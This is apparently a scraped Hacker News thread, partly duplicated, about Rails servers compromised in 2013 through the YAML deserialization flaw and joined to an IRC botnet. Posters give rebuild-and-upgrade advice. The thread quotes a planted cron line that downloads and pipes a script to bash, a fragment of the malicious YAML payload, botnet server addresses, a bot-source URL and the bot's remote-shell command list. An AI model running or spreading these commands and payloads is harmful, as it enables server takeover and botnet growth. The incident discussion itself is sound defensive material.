In my cron jobs the hacker took out all my jobs and put in line that goes like wget -0 colkolduld.com/someurl | bash and then executes the same 3 more times. I think this may be an nginx issue with allowing the compiling of c code on the server then allowing remote execution via a url. Not sure.
take the system offline, install fresh o/s on new server, re-deploy clean copy of code.
slowly and carefully move only non-executable files over (uploaded images, post-inspection database dumps).
if you deployed using git checkouts and the like you will also have to manually go through all the commits/branches to make sure they didnt muck about with your code to install a backdoor.
I think this exploit affects all Linux based servers running Nginx that haven't upgraded to 1.5.0. Passenger is using 1.4.2 which would mean that if you use Rails you are vulnerable. I'm not 100% sure, but neither is anyone else. A fresh install won't help for this hack as it's through the URL. You can see more in the github.com url about the exploit. I don't think the author of github knows the solution yet either.
Some people in that thread are running rails 3.2.9 end even 3.2.3, and the cited malicious requests contain url paramters the dedoce to ?id=\n---\n!ruby/object:Gem::Requirement\nrequirements:\n -
[Edit: although at least one mentions 3.2.11, which should have that particular vulnerability fixed, so it will probably at least sometimes be someting else.]
On exactly this subject, I'm in the process of building a SaaS app that will alert you of security vulnerabilities in Gems in your Rails and other Ruby apps.
Sign up at my landing page to here more when I'm closer to launch
The problem with an upload is that you rely on someone to re-upload when they change their Gems. Changing the locked Gems means a re-check is needed, as they might have switched to bad versions.
Making this automatic is the key part - if you don't get burned very often, you'll eventually forget to do the right thing manually and open yourselves to badness.
I'm on an iPhone and going to dinner in a second, but can someone tell them that Gem::Requirements line is a pretty dead ringer for the YAML exploits from January? Servers that haven't been owned yet should update Rails, see my article from January. Owned servers need to get rebuilt from metal, as per usual.
It's surprising how often people rely on their own obscurity when they hear about security vulnerabilities. Sure, I could go upgrade Rails, but why bother? I'm only using it for a personal project.
The reality is that bad actors scan the pubic Internet for exploitable servers all the time. It's easy, it's cheap, and it's a very effective way to grow your botnet. If you're on the Internet, it doesn't matter how obscure you are: someone will eventually probe you.
Every time I touch a new project it's in need of security updates. Any time a site gets owned, there's no accountability or logging or anything. Any time a security issue does manage to get found it's as if it's a rare new thing. "Wow, who would have thought that could happen." Well, let's see, the developers of the software you're using, and anyone that pays attention to them.
We also have a mailing list we regularly send out updates to that we set up after the Rails vuln fiasco - you can sign up for it here, if interested: https://www.tinfoilsecurity.com/railscheck
Also http://getshrubbery.com/home which is free, but seemed mildly broken when I tried it (it seemed to forget some of my actually outdated packages when I tried it).
Looking at the source code for the IRC bot installed on all compromised system shows the IRC server it connects to. The source is here: http://88.198.20.247/k.c
The IRC server is cvv4you.ru:6667 #rails
There are currently 2164 idling bots on there. Holy fuck. Its run by a guy with the handle "ryan".
This is a botnet being ran, at least in part, by hacking group HTP.
ryan is one of its lead members. Other evidence is the fact that "starfall.cu.cc" is one domain being used to grab this script: http://starfall.cu.cc/chips.txt
- Both IRC servers are currently down (connection refused).
- The C code is full of bugs, but they're probably only exploitable if you can get either a nick more than 1024 characters or a full line more than 4096 characters (in the latter case, aside from there being an off-by-one error, the data after 4096 characters will be treated as a command, so you could spoof a privmsg and cause the bot to execute a shell command).
Because rails people don't know markdown. In all seriousness I'm assuming that those guys are panicking right about now and can't type fast enough let alone worry about the slightest bit of code formatting.
I'm finding it intensely amusing that most of the people around here don't realize that there are pay-for-use botnet services out there, that they are the most likely people that will own your server, that they're continuously on the leading edge of discovering and exploiting security vulnerabilities, and that it's not an "option" to continue to use a software version that has security vulnerabilities.
If I had to guess, I'd assume that Hacker News is frequented by a lot of programmers running startups who don't have and don't know any operations/infrastructure people. Here's a budget item: You can't afford to not have and not know any ops/infra people. Those people should be part of your team from the beginning so that they can put their foot down when you want to roll something that won't scale or want to avoid updating software versions because it might break something and you're crunching. If you think you can get away with those things, you're setting yourself up for a fall, and your customers' data will be exposed when you fall. If more VCs did diligence at the technical level, would more founders be likely to pay attention to infrastructure and operations as anything besides an expense that "can't be that difficult" to avoid by DIY?
Ever since word of regressions (performance and otherwise) in 3.2.13 https://news.ycombinator.com/item?id=5409978 I've been waiting on news of 3.2.14 ... I wonder if anyone has word on when to expect that, because the vulnerabilities patched in 3.2.13 that we can't take advantage of, make me a little nervous.
I also started using Gemnasium which does a good job of notifying me about security patches in my app's dependencies along with keeping me up to date with gem releases.
52 comments
[ 3.1 ms ] story [ 123 ms ] threadslowly and carefully move only non-executable files over (uploaded images, post-inspection database dumps).
if you deployed using git checkouts and the like you will also have to manually go through all the commits/branches to make sure they didnt muck about with your code to install a backdoor.
I.e., they have been grossly negligient in their server maintenance for most of this year. http://www.kalzumeus.com/2013/01/31/what-the-rails-security-...
[Edit: although at least one mentions 3.2.11, which should have that particular vulnerability fixed, so it will probably at least sometimes be someting else.]
Sign up at my landing page to here more when I'm closer to launch
http://www.rubyaudit.com
Try it now.
Thanks
My preference would be to upload that Gemfile.lock to a location, and then it could be scanned as and when new vulnerabilities were detected.
Making this automatic is the key part - if you don't get burned very often, you'll eventually forget to do the right thing manually and open yourselves to badness.
http://www.kalzumeus.com/2013/01/31/what-the-rails-security-...
Regardless, it's an absolute must read for anyone even thinking about using rails.
The reality is that bad actors scan the pubic Internet for exploitable servers all the time. It's easy, it's cheap, and it's a very effective way to grow your botnet. If you're on the Internet, it doesn't matter how obscure you are: someone will eventually probe you.
> I think we have to warm all RoR developers...
Every time I touch a new project it's in need of security updates. Any time a site gets owned, there's no accountability or logging or anything. Any time a security issue does manage to get found it's as if it's a rare new thing. "Wow, who would have thought that could happen." Well, let's see, the developers of the software you're using, and anyone that pays attention to them.
Also http://getshrubbery.com/home which is free, but seemed mildly broken when I tried it (it seemed to forget some of my actually outdated packages when I tried it).
The IRC server is cvv4you.ru:6667 #rails There are currently 2164 idling bots on there. Holy fuck. Its run by a guy with the handle "ryan".
Connect to it and see for yourself: http://chat.mibbit.com/
How come these guys are even operational?
NICK <nick> = Changes the nick of the client
SERVER <server> = Changes servers
KILL = Kills the client
GET <http address> <save as> = Downloads a file off the web and saves it onto the hd
HELP = Displays this
IRC <command> = send_msgs this command to the server
SH <command> = Executes a command
I'm a little light on IRC proxies right now - anyone care to test if you can kill all 2,164 bots in one easy peasy MIRC script?
ryan is one of its lead members. Other evidence is the fact that "starfall.cu.cc" is one domain being used to grab this script: http://starfall.cu.cc/chips.txt
Starfall is another one of their members.
They're the people who breached Linode, MIT, nmap, and a few other places recently. See: http://www.exploit-db.com/papers/25306/
I'm surprised no one's thought of mass exploiting all those RoR servers months ago, unless those have all been there for months.
- Both IRC servers are currently down (connection refused).
- The C code is full of bugs, but they're probably only exploitable if you can get either a nick more than 1024 characters or a full line more than 4096 characters (in the latter case, aside from there being an off-by-one error, the data after 4096 characters will be treated as a command, so you could spoof a privmsg and cause the bot to execute a shell command).
If you're using Rails externally and you haven't upgraded it, it's only a matter of time till it gets hacked.
Could be the most obvious statement ever, but there you have it.
If I had to guess, I'd assume that Hacker News is frequented by a lot of programmers running startups who don't have and don't know any operations/infrastructure people. Here's a budget item: You can't afford to not have and not know any ops/infra people. Those people should be part of your team from the beginning so that they can put their foot down when you want to roll something that won't scale or want to avoid updating software versions because it might break something and you're crunching. If you think you can get away with those things, you're setting yourself up for a fall, and your customers' data will be exposed when you fall. If more VCs did diligence at the technical level, would more founders be likely to pay attention to infrastructure and operations as anything besides an expense that "can't be that difficult" to avoid by DIY?
https://github.com/discourse/discourse/commits/master/lib/fr...
(to be used as an initializer)
I also started using Gemnasium which does a good job of notifying me about security patches in my app's dependencies along with keeping me up to date with gem releases.